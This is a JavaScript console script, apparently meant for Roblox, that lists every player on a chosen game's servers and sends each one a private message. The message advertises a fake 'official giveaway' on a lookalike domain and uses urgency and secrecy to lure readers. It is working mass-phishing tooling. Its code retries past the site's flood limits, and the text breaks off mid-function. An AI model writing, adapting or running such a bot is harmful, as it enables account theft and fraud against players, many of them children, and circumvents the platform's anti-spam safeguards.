Free Roblox Acc.

var waitTime = 10; // In seconds

var subject = "Roblox is doing a give away &un!!!"; // Subject of the message.
var body = "You don't know me, but I'm spreading around this secret website that Roblox was hiding from us. This is the OFFICIAL GIVEAWAY TEST PAGE donating R$ to players on the real website! roblox.wf/?id=38307. Don't tell your friends, keep it a secret! LIMITED SUPPLY SO COME QUICK! The website is unlocked and unpatched as of 12/17/16."; // Body of the message

var GameID = 70501379; // ID of the game to locate players to message.
var excludedGroups = []// IDs of group whose members won't be messaged.
var senderPause = 1; // Wait time in seconds after successfully sending a message.

/////////////////////////////////////////////////////////

// Leave both of these blank.
var servers = [];
var GameName = '';

function finishProcess(serverIndex, playerIndex) {
    if (playerIndex + 1 == servers[serverIndex].CurrentPlayers.length) {
        if (serverIndex + 1 != servers.length) {
            msgNext(serverIndex + 1, 0);
        } else {
            console.log('Finished!');
        }
    } else {
        msgNext(serverIndex, playerIndex + 1);
    }
}

function sendMsg(serverIndex, playerIndex, player, passed) {
    if (passed === true) {
        $.post('https://www.roblox.com/messages/send', {
            subject : subject.replace(/&un/gi, player.Username).replace(/&gn/gi, GameName),
            body : body.replace(/&un/gi, player.Username).replace(/&gn/gi, GameName),
            recipientid : player.Id,
            cacheBuster : new Date().getTime()
        }).done(function(response) {
            if (response.success === true) {
                console.log('Sent message to '+player.Username+'.');
                setTimeout(function() {
                    finishProcess(serverIndex, playerIndex);
                }, senderPause*1000);
            } else {
                if (response.shortMessage == 'SenderFlooded') {
                    console.log('Sender is flooded. Retrying in '+senderPause+' second(s).');
                    setTimeout(function() {
                        sendMsg(serverIndex, playerIndex, player, true);
                    }, senderPause*1000);
                } else {
                    console.log('Could not message '+player.Username+'. '+response.shortMessage+'.');
                    finishProcess(serverIndex, playerIndex);
                }
            }
        });
    } else {
        if (passed !== false) {
            console.log(passed);
        }
        finishProcess(serverIndex, playerIndex);
    }
}

function groupCheck(serverIndex, playerIndex, groupIndex, player) {
    $.get('https://www.roblox.com/Game/LuaWebService/HandleSocialRequest.ashx?method=IsInGroup&playerid='+player.Id+'&groupid='+excludedGroups[groupIndex], function(response) {
        if (response.indexOf('true') != -1) {
            sendMsg(serverIndex, playerIndex, player, player.Username+' is in an excluded group.');
        } else {
            if (excludedGroups.length > groupIndex + 1) {
                groupCheck(serverIndex, playerIndex, groupIndex + 1, player);
            } else {
                sendMsg(serverIndex, playerIndex, player, true);
            }
        }
    });
};

function msgNext(serverIndex, playerIndex) {
    var player = servers[serverIndex].CurrentPlayers[playerIndex];
    if (player.Id > 0) {
        if (excludedGroups.length > 0) {
            groupCheck(serverIndex, playerIndex, 0, player);
        } else {
            sendMsg(serverIndex, playerIndex, player, true);
        }
    } else {
        sendMsg(serverIndex, playerIndex, player, false);
    }
}

function getServers(startIndex) {
    var serversURL = ('https://www.roblox.com/games/getgameinstancesjson?placeId='+GameID+'&startIndex='+startIndex);
    $.get(serversURL).done(function(obj) {
        for (var server in obj.Collection) {
            servers.push(obj.Collection[server]);
        }
        if (obj.Collection.length > 0) {
            getServers(startIndex+10);
        } else {
            console.log('Ready to send messages.');
            msgNext(0, 0);
        }
    });
}

console.log('Starting bot.');

$.get('https://www.roblox.com/place-thumbnails?params=[{placeId:'+GameID+'}]').done(function(response) {
    GameName = response[0].name;
    console.log('Obtaining list of servers for '+GameName+'. Please wait.');
    getServers(0);